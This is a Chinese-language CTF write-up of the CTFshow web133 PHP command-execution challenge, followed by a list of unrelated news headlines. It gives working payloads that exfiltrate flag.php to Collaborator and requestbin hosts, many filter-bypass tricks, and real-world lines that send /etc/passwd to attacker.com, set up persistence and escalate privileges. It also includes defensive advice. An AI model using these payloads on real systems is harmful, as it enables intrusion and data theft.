CTFshow Web命令执行实战:从截断绕过到curl-F的妙用
1. 从截断到变量覆盖理解web133的核心漏洞最近在CTFshow的Web题目里我遇到了一个特别有意思的命令执行题——web133。这道题初看让人有点懵但一旦理解了它的核心思路你就会发现它巧妙得让人拍案叫绝。先来看看题目给的代码?php error_reporting(0); highlight_file(__FILE__); //flag.php if($F $_GET[F]){ if(!preg_match(/system|nc|wget|exec|passthru|netcat/i, $F)){ eval(substr($F,0,6)); }else{ die(6个字母都还不够呀?!); } }第一眼看到这个代码你可能觉得这题没法做。它只取我们传入的$F参数的前6个字符然后执行eval()。6个字符能干什么连一个完整的system()都写不完更别说执行命令了。但这里有个关键点eval()执行的是PHP代码不是系统命令。这意味着我们可以在6个字符的限制内构造一段能够“自我扩展”的PHP代码。我当时的思路是这样的既然$F变量会被eval()执行而$F又恰好是我们传入的参数那能不能让$F自己引用自己呢就像俄罗斯套娃一样一层套一层。于是我尝试了这样的payload?F$F;sleep 3你猜怎么着网站真的sleep了3秒这说明命令确实执行成功了。让我解释一下这里发生了什么。当我们传入?F$F;sleep 3时substr($F,0,6)取前6个字符得到$F;seval($F;s)执行这段代码反引号在PHP中是shell_exec()的简写它会执行里面的命令$F在这里被解析为我们传入的整个字符串$F;sleep 3所以实际执行的是$F;sleep 3也就是执行shell命令$F;sleep 3在shell中$F会被解析为环境变量但这里没有定义所以是空最终执行的是sleep 3这个技巧的精妙之处在于它利用了变量覆盖和命令执行的组合。$F在PHP层被截断但在shell层又被完整地解析出来。这种“跨层”的思维转换是解决这类题目的关键。2. curl -F参数无回显场景的数据外带理解了变量覆盖的技巧后我们面临下一个问题如何获取flag题目中提示flag在flag.php里但命令执行的结果不会直接显示在页面上。这就是典型的无回显blind命令执行场景。在无回显的情况下我们需要把数据“带出来”。常见的方法有DNS外带、HTTP请求外带等。这道题我选择了使用curl的-F参数因为它特别适合传输文件内容。先说说curl -F是干什么的。-F参数用于以multipart/form-data格式上传文件相当于网页表单中的文件上传。基本语法是curl -F file本地文件路径 http://接收服务器地址但这里有个问题我们只有6个字符的PHP执行空间怎么执行完整的curl命令呢答案还是变量覆盖。我构造的payload是这样的?F$F;curl -X POST -F xxflag.php http://8clb1g723ior2vyd7sbyvcx6vx1ppe.burpcollaborator.net让我拆解一下这个payload的构造过程首先我们需要一个接收服务器。这里我用了Burp Suite的Collaborator Client它类似于DNSLOG但功能更强大可以接收POST请求、查看完整的请求包。-X POST指定使用POST方法虽然-F默认就是POST但显式声明更清晰-F xxflag.php表示上传文件表单字段名是xx文件是flag.php最后的URL是Collaborator生成的临时域名当这个payload被执行时flag.php的内容会被作为文件上传到Collaborator服务器。我们在Collaborator中查看接收到的请求就能在请求体中找到flag。这里有个细节需要注意符号在curl中表示“从文件读取内容”而在PHP中是错误控制运算符。好在我们的是在反引号内的shell命令中所以不会被PHP误解。实际测试时我发现有时候文件内容会被截断或编码。这时候可以尝试不同的Content-Type或者使用--data-binary参数。但在这道题中-F参数已经足够好用了。3. 利用Burp Collaborator接收数据可能有些朋友对Burp Collaborator不太熟悉我简单介绍一下。Collaborator是Burp Suite Professional版的一个功能它提供了一个临时的、公网可访问的端点用于检测带外Out-of-Band漏洞。使用Collaborator的好处很多不需要自己搭建服务器可以接收HTTP、DNS、SMTP等多种协议的数据能查看完整的请求头和请求体有历史记录方便多次测试在web133这道题中Collaborator帮了大忙。当我们执行curl命令上传文件时Collaborator会记录下完整的HTTP请求。在请求的body中我们可以看到multipart/form-data格式的数据其中就包含flag.php的内容。具体操作步骤打开Burp Suite进入Collaborator标签页点击Copy to clipboard复制Collaborator地址在payload中使用这个地址点击Poll now查看是否有请求到达如果有请求点击查看详情在请求体中寻找flag有时候flag可能被编码或隐藏在大量数据中。这时候可以使用Burp的搜索功能CtrlF搜索ctfshow{或flag{这样的模式。如果Collaborator不可用也可以使用requestbin、webhook.site等类似服务或者自己搭建一个简单的HTTP服务器# 简单的HTTP服务器用于接收数据 from http.server import HTTPServer, BaseHTTPRequestHandler import urllib.parse class Handler(BaseHTTPRequestHandler): def do_POST(self): content_length int(self.headers[Content-Length]) post_data self.rfile.read(content_length) print(Received POST data:) print(post_data.decode()) self.send_response(200) self.end_headers() server HTTPServer((0.0.0.0, 8000), Handler) server.serve_forever()不过自己搭建服务器需要考虑公网IP和端口开放问题对于CTF比赛来说Collaborator这类服务更方便。4. 羽师傅的grep技巧精准提取关键数据在和其他选手交流时我看到了羽师傅的另一种解法。他没有上传整个文件而是用curl带出命令执行的结果类似于DNSLOG的方式。基本思路是?F$F;curl http://requestbin.net/r/1puo0jq1?pcat flag.php这样会把flag.php的内容作为URL参数发送到requestbin。但实际测试发现一个问题URL有长度限制而且特殊字符会被编码或截断。羽师傅的聪明之处在于他用了grep命令来提取关键行?F$F;curl http://requestbin.net/r/1puo0jq1?pcat flag.php|grep ctfshowgrep是Linux下的文本搜索工具grep ctfshow会只输出包含ctfshow的行。因为flag通常有固定的格式如ctfshow{xxx}这样就能精准地提取出我们需要的信息。我测试了一下发现这种方法确实可行但有几点需要注意URL编码问题如果flag中包含特殊字符如{、}、等它们会被URL编码需要手动解码长度限制GET请求的URL长度有限制通常2048字符如果flag很长可能被截断多行处理如果flag分布在多行需要多次请求或使用其他方法针对长度限制可以分段读取?F$F;curl http://your-server.com/?phead -c 50 flag.php ?F$F;curl http://your-server.com/?ptail -c 50 flag.php或者使用cut命令按列分割?F$F;curl http://your-server.com/?pcut -c 1-50 flag.php ?F$F;curl http://your-server.com/?pcut -c 51-100 flag.php羽师傅的方法虽然不如文件上传直接但在某些限制更严格的环境中比如不允许文件上传或者接收服务器只支持GET请求可能更有效。5. 截断绕过的其他应用场景web133的截断技巧让我开始思考这种思路还能用在其他地方吗经过一番研究我发现截断绕过在CTF中其实有很多变种。场景一长度限制但不过滤关键函数有些题目只限制长度但不过滤system、exec等函数。这时候可以直接构造?cmdsys$1tem(ls);这里用$1作为变量在shell中未定义的变量会被当作空字符串所以sys$1tem实际就是system。这种技巧在bash shell中特别有用。场景二数字和字母被过滤如果题目过滤了所有数字和字母我们可以用特殊字符来构造命令。比如用$、$*、$?等特殊变量?cmd/???/???$IFS???????这个payload利用了通配符?匹配文件路径$IFS是内部字段分隔符默认是空格。在Linux中/???/???可能匹配到/bin/cat???????可能匹配到flag.php。场景三基于正则的过滤绕过有些题目用正则表达式过滤关键字但正则匹配可能有漏洞。比如if(preg_match(/system|exec|passthru/i, $cmd)){ die(hacker!); }这里可以用嵌套变量绕过?cmd$xsys;$ytem;$z$x.$y;$z(ls);或者用字符串反转?cmdeval(strrev(metsys));甚至用进制转换?cmd$(printf \x73\x79\x73\x74\x65\x6d)(ls);这些技巧的关键在于理解PHP的字符串处理函数和shell的变量扩展机制。6. 命令执行中的编码与解码技巧在命令执行题目中编码解码是绕过滤的常用手段。web133虽然没有直接考察这个但我在其他题目中遇到过类似的情况。base64编码绕过当空格、特殊字符被过滤时可以用base64编码# 原始命令 cat /flag # base64编码 echo Y2F0IC9mbGFnCg | base64 -d | bash在PHP中执行?cecho$IFS$9Y2F0IC9mbGFnCg|base64$IFS$9-d|bash这里$IFS$9是空格$IFS是内部字段分隔符$9是第9个参数通常为空合起来就是空格-d参数表示解码。十六进制编码除了base64十六进制也很常用# 原始命令 cat /flag # 十六进制表示 echo 636174202f666c6167 | xxd -r -p | bashxxd是十六进制转换工具-r表示反转hex转binary-p表示纯十六进制不带地址和ASCII显示。利用printf构造字符当字母被过滤时可以用printf按ASCII码输出字符# 构造cat $(printf \143\141\164) /flag或者用八进制$(printf \x63\x61\x74) /flag这种方法的优点是几乎不需要字母数字只需要特殊字符和数字。变量拼接技巧在bash中可以用变量拼接来绕过关键字过滤ac;ba;ct;$a$b$c /flag或者用花括号扩展{cat,/flag}甚至用通配符/bin/c?t /fla?这些技巧的组合使用可以应对各种复杂的过滤规则。7. 从web133看CTF命令执行题的演变做完web133后我回顾了CTFshow的命令执行题目序列发现了一个有趣的演变过程。早期的题目往往只过滤一两个关键字现在的题目则越来越复杂需要多层绕过。第一阶段简单过滤web29-web40这个阶段的题目主要过滤flag、system、cat等明显的关键字。绕过方法也比较直接用tac代替cat用fla*或fla?.php绕过flag过滤用%09制表符或${IFS}代替空格用base64编码命令第二阶段加强过滤web41-web55这个阶段开始过滤更多字符和命令过滤了;、|、等命令分隔符过滤了cat、tac、more、less等文件读取命令过滤了*、?等通配符甚至过滤了数字和字母这时候需要更高级的技巧用或重定向代替空格用或分割关键字如flag用/???/???匹配二进制路径用$、$*等特殊变量用$(())进行数学运算生成数字第三阶段无回显与限制执行web133等这是目前比较新的题型特点是无回显执行限制输出被重定向到/dev/null只能执行有限长度的命令需要外带数据可能需要多层编码解码web133就属于这个阶段它结合了长度限制、函数过滤、无回显等多个难点。未来可能的趋势从这些题目中我预测未来的命令执行题可能会结合沙箱逃逸在受限环境中突破限制结合容器技术考察容器内的命令执行结合新型Web框架考察框架特定的命令执行点增加时间盲注元素需要时间判断或条件触发对于选手来说需要掌握多种编程语言的命令执行方式PHP、Python、Node.js等操作系统特性Linux、Windows差异容器基础知识Docker命令、镜像操作网络协议知识DNS、HTTP、SMTP等带外通道8. 实战中的注意事项与踩坑记录在实际操作中我遇到了不少坑这里分享给大家希望能帮你们少走弯路。坑一编码问题这是最常见的问题。当用curl外带数据时如果数据中包含特殊字符可能会被URL编码。比如?F$F;curl http://server.com/?datacat flag.php如果flag.php包含?php那么会被编码为%3C被编码为%3E。这时候需要手动解码或者使用--data-urlencode参数curl --data-urlencode data$(cat flag.php) http://server.com/但在我们的限制条件下可能无法使用这个参数。替代方案是用xxd转换为十六进制curl http://server.com/?data$(cat flag.php | xxd -p)坑二长度限制无论是GET请求的URL长度限制还是命令行的长度限制都可能成为问题。我的经验是优先使用POST方法body通常没有长度限制如果只能用GET考虑分片传输压缩数据cat flag.php | gzip | base64只传输关键信息用grep提取包含flag的行坑三网络环境有些CTF平台可能限制外网访问或者Collaborator服务被墙。这时候需要使用平台提供的DNSLOG服务如果有使用interact.sh等替代服务自己搭建接收服务器需要公网IP使用时间盲注技巧通过响应时间判断命令是否执行成功坑四权限问题在真实环境中可能会遇到权限不足的情况curl命令不存在或不可用尝试wget、nc、telnet等无法写入文件尝试内存执行或管道传递防火墙限制尝试常用端口80、443、53或使用ICMP、DNS协议坑五字符集问题如果flag包含非ASCII字符可能会显示乱码。这时候可以用iconv转换字符集cat flag.php | iconv -f utf-8 -t ascii//TRANSLIT用od以八进制或十六进制显示cat flag.php | od -x用base64编码后再传输实用调试技巧先测试简单命令不要一开始就尝试复杂的payload先用whoami、id、pwd等简单命令确认命令执行是否成功使用绝对路径/bin/cat比cat更可靠因为环境变量可能被修改错误输出重定向21将错误输出重定向到标准输出方便调试时间延迟判断sleep 3可以判断命令是否执行特别是在无回显情况下多准备几个payload一个方法不行立即尝试另一个9. 防御建议如何避免这类漏洞作为开发者了解攻击手法是为了更好地防御。从web133这道题中我们可以总结出一些防御命令执行漏洞的建议输入验证与过滤白名单优于黑名单不要只过滤system、exec等函数应该只允许特定的安全命令严格限制参数格式如果只需要数字就用is_numeric()验证如果需要字符串就限制长度和字符集使用escapeshellarg()和escapeshellcmd()PHP中这两个函数可以安全地处理shell参数// 不安全的写法 system(ls . $_GET[dir]); // 安全的写法 system(ls . escapeshellarg($_GET[dir]));最小权限原则使用低权限用户运行Web服务不要用root运行PHP-FPM或Apache禁用危险函数在php.ini中设置disable_functions使用open_basedir限制文件访问范围设置正确的文件权限Web目录只读上传目录不可执行代码审计要点注意eval()、assert()等函数尽量避免使用如果必须用要严格限制输入注意反引号、system()、exec()等这些都能执行系统命令注意include()、require()等文件包含函数可能造成本地文件包含或远程文件包含注意preg_replace()的/e修饰符在PHP5中可能造成代码执行日志与监控记录所有命令执行特别是来自Web的参数监控异常行为如短时间内大量执行whoami、id等命令使用WAFWeb应用防火墙可以拦截常见的攻击payload定期更新和补丁保持系统和应用的最新状态安全开发实践使用参数化查询数据库操作避免SQL注入使用安全的文件操作函数如move_uploaded_file()而不是copy()验证文件类型和内容不要只相信文件扩展名设置Content-Security-Policy限制脚本执行对于web133这种特定的漏洞防御措施包括不要使用eval()执行用户输入如果必须截取字符串确保截取后的字符串不会造成安全问题避免变量覆盖使用不同的变量名对输出进行编码防止XSS10. 扩展思考从CTF到真实渗透测试CTF题目往往是真实漏洞的简化版。web133中展示的技巧在真实渗透测试中也有应用场景。场景一受限命令执行在有些环境中命令执行可能受到限制应用程序的exec()函数被禁用但shell_exec()可用只能执行特定白名单中的命令命令输出被重定向或丢弃这时候可以尝试用反引号代替shell_exec()用管道将输出重定向到文件command /tmp/output.txt用网络外带数据curl http://attacker.com/$(whoami)用DNS外带nslookup $(whoami).attacker.com场景二长度限制绕过有些WAF或输入验证会限制参数长度。绕过方法环境变量acmd;bargs;$a $b通配符/???/c?t /etc/pass*编码压缩echo LONG_COMMAND | gzip | base64分片执行先写入文件再执行场景三无回显利用在真实渗透中很多命令执行是无回显的。这时候需要时间盲注ping -c 3 attacker.com通过响应时间判断DNS外带nslookup $(cat /etc/passwd | base64).attacker.comHTTP外带curl -X POST -d /etc/passwd http://attacker.com/ICMP外带用ping携带数据需要特殊工具场景四权限提升拿到命令执行后下一步通常是提权信息收集uname -a、cat /etc/passwd、sudo -l内核漏洞搜索公开的exp如DirtyCow、CVE-2021-4034等SUID文件find / -perm -4000 2/dev/nullCron任务crontab -l、ls -la /etc/cron*环境变量env、检查PATH、LD_PRELOAD等场景五持久化获得访问权限后需要维持访问SSH密钥echo 公钥 ~/.ssh/authorized_keysWebshell写入一句话木马或自定义后门Cron任务添加定时反弹shell服务后门修改系统服务或添加新服务Rootkit内核级隐藏工具与自动化在真实测试中可以自动化这些过程使用Metasploitexploit/multi/script/web_delivery使用Cobalt StrikeBeacon的多种上线方式自定义脚本根据环境编写特定的利用脚本使用代理通过Webshell建立代理穿透内网防御检测从防御角度看需要检测这些行为异常进程Web用户执行bash、sh、python等异常网络连接Web服务器向外发起DNS、HTTP请求文件变化Web目录下新增可执行文件日志分析Apache/Nginx日志中的异常请求web133虽然是一道CTF题目但它涉及的技术点在真实渗透中都有对应。理解这些技术不仅能打好CTF也能提高真实环境下的安全能力。我建议大家在解题后尝试在实验环境中复现并思考如何防御。只有攻防兼备才能真正理解安全。

相关新闻

奥赛:以现代工业匠心,重塑健康零食标杆

奥赛:以现代工业匠心,重塑健康零食标杆

在山东滨州健源食品现代化的生产园区内,一套套自动化设备正平稳运行,奥赛山楂从来自专属种植基地的鲜果中,淬炼出天然美味。这便是奥赛品牌的起点——凭借先进的工厂设备、严苛的原料标准、独创的生产工艺与精准的营销策略,成功将…

2026/5/17 12:08:26 阅读更多 →
四足机器人技术演进与典型应用场景解析

四足机器人技术演进与典型应用场景解析

1. 从“机械马”到“智能伙伴”:四足机器人的技术演进之路 说起四足机器人,很多人脑海里第一个蹦出来的可能就是波士顿动力的Spot,那个能在工厂里溜达、会开门、甚至能跳舞的“机器狗”。但你知道吗,让机器像动物一样行走&#xf…

2026/7/3 16:27:46 阅读更多 →
青龙面板京东自动化进阶:自建H5ST算法服务实战指南

青龙面板京东自动化进阶:自建H5ST算法服务实战指南

1. 为什么你需要自建H5ST算法服务? 如果你正在用青龙面板跑京东相关的自动化脚本,最近可能遇到了一个让人头疼的问题:脚本跑着跑着突然就报错了,日志里经常出现“签名失败”、“H5ST参数错误”或者干脆就是请求被京东服务器直接拒…

2026/5/17 12:08:28 阅读更多 →

最新新闻

d2s-editor:暗黑破坏神2存档编辑器,轻松管理你的游戏角色数据

d2s-editor:暗黑破坏神2存档编辑器,轻松管理你的游戏角色数据

d2s-editor:暗黑破坏神2存档编辑器,轻松管理你的游戏角色数据 【免费下载链接】d2s-editor 项目地址: https://gitcode.com/gh_mirrors/d2/d2s-editor 你是否曾为暗黑破坏神2复杂的存档编辑而烦恼?想要调整角色属性却不知从何下手&am…

2026/7/6 5:36:39 阅读更多 →
如何用FanControl打造智能静音电脑:从零基础到专业调校的完整指南

如何用FanControl打造智能静音电脑:从零基础到专业调校的完整指南

如何用FanControl打造智能静音电脑:从零基础到专业调校的完整指南 【免费下载链接】FanControl.Releases This is the release repository for Fan Control, a highly customizable fan controlling software for Windows. 项目地址: https://gitcode.com/GitHub_…

2026/7/6 5:36:39 阅读更多 →
129、轻量化 Head 设计:用 Depthwise Conv 加 1×1 Conv 替代标准检测头卷积

129、轻量化 Head 设计:用 Depthwise Conv 加 1×1 Conv 替代标准检测头卷积

129、轻量化 Head 设计:用 Depthwise Conv 加 1乘1 Conv 替代标准检测头卷积 从一次显存爆炸说起 去年秋天调一个YOLOv11n的工业检测模型,输入分辨率压到640640,batch size设到32,结果RTX 3090直接OOM。排查半天,发现检测头三个分支的卷积层占了将近40%的参数量。当时项目…

2026/7/6 5:32:38 阅读更多 →
5分钟解放双手:League Akari - 英雄联盟玩家的本地化智能助手终极指南

5分钟解放双手:League Akari - 英雄联盟玩家的本地化智能助手终极指南

5分钟解放双手:League Akari - 英雄联盟玩家的本地化智能助手终极指南 【免费下载链接】League-Toolkit An all-in-one toolkit for LeagueClient. Gathering power 🚀. 项目地址: https://gitcode.com/gh_mirrors/le/League-Toolkit 还在为游戏中…

2026/7/6 5:30:38 阅读更多 →
AI Agent 链上操作:签名之前先生成可验证计划

AI Agent 链上操作:签名之前先生成可验证计划

AI Agent 链上操作:签名之前先生成可验证计划 一、Agent 不能直接替用户签名 AI Agent 能帮用户分析资产、构造交易、调用合约、提交治理提案。但链上操作一旦签名,就具备真实资产和权限后果。让 Agent 直接决定并发起签名,是非常危险的设计。…

2026/7/6 5:28:37 阅读更多 →
League-Toolkit终极指南:英雄联盟玩家的智能助手与效率神器

League-Toolkit终极指南:英雄联盟玩家的智能助手与效率神器

League-Toolkit终极指南:英雄联盟玩家的智能助手与效率神器 【免费下载链接】League-Toolkit An all-in-one toolkit for LeagueClient. Gathering power 🚀. 项目地址: https://gitcode.com/gh_mirrors/le/League-Toolkit League-Toolkit是一款基…

2026/7/6 5:28:37 阅读更多 →

日新闻

H2 与 MySQL 单元测试兼容性:5 个关键 SQL 语句差异与规避方案

H2 与 MySQL 单元测试兼容性:5 个关键 SQL 语句差异与规避方案

H2与MySQL单元测试兼容性:5个关键SQL语句差异与规避方案1. 单元测试中的数据库兼容性挑战在Java开发领域,单元测试是保证代码质量的重要环节。当应用涉及数据库操作时,测试环境的搭建往往成为开发者的痛点。H2数据库因其轻量级、内存模式和快…

2026/7/6 0:01:17 阅读更多 →
Windows任务栏终极清理指南:用RBTray一键隐藏窗口到系统托盘

Windows任务栏终极清理指南:用RBTray一键隐藏窗口到系统托盘

Windows任务栏终极清理指南:用RBTray一键隐藏窗口到系统托盘 【免费下载链接】rbtray A fork of RBTray from http://sourceforge.net/p/rbtray/code/. 项目地址: https://gitcode.com/gh_mirrors/rb/rbtray 你是否厌倦了Windows任务栏上密密麻麻的图标&…

2026/7/6 0:01:17 阅读更多 →
Visual C++ 运行时库一键安装终极指南:告别DLL缺失烦恼

Visual C++ 运行时库一键安装终极指南:告别DLL缺失烦恼

Visual C 运行时库一键安装终极指南:告别DLL缺失烦恼 【免费下载链接】vcredist AIO Repack for latest Microsoft Visual C Redistributable Runtimes 项目地址: https://gitcode.com/gh_mirrors/vc/vcredist 你是否曾经遇到过这样的情况:下载了…

2026/7/6 0:05:19 阅读更多 →

周新闻

B站视频下载神器BiliTools:5分钟学会轻松保存任何B站内容

B站视频下载神器BiliTools:5分钟学会轻松保存任何B站内容

B站视频下载神器BiliTools:5分钟学会轻松保存任何B站内容 【免费下载链接】BiliTools A cross-platform bilibili toolbox. 跨平台哔哩哔哩工具箱,支持下载视频、番剧等等各类资源 项目地址: https://gitcode.com/GitHub_Trending/bilit/BiliTools …

2026/7/5 0:03:34 阅读更多 →
威胁模型全解析:从新手入门到实战应用,助你构建安全产品!

威胁模型全解析:从新手入门到实战应用,助你构建安全产品!

威胁模型的陌生现状在忙碌疲惫的一天里,参与了关于混合后量子密码学的讨论,应付端点攻击找茬的人,还参与留言板讨论后,发现“威胁模型”对多数人仍是陌生概念,且多被当作时髦用语。有趣的相关画作有一幅由 Embyr 创作的…

2026/7/5 0:03:34 阅读更多 →
渗透测试入门指南:从零基础到实战环境搭建

渗透测试入门指南:从零基础到实战环境搭建

1. 从“看热闹”到“入门”:我理解的渗透测试到底是什么?每次看到新闻里说某个大公司的数据被“黑”了,或者某个网站被攻击导致服务瘫痪,你是不是和我一样,心里会冒出两个念头:一是“这黑客真厉害”&#x…

2026/7/5 0:07:38 阅读更多 →

月新闻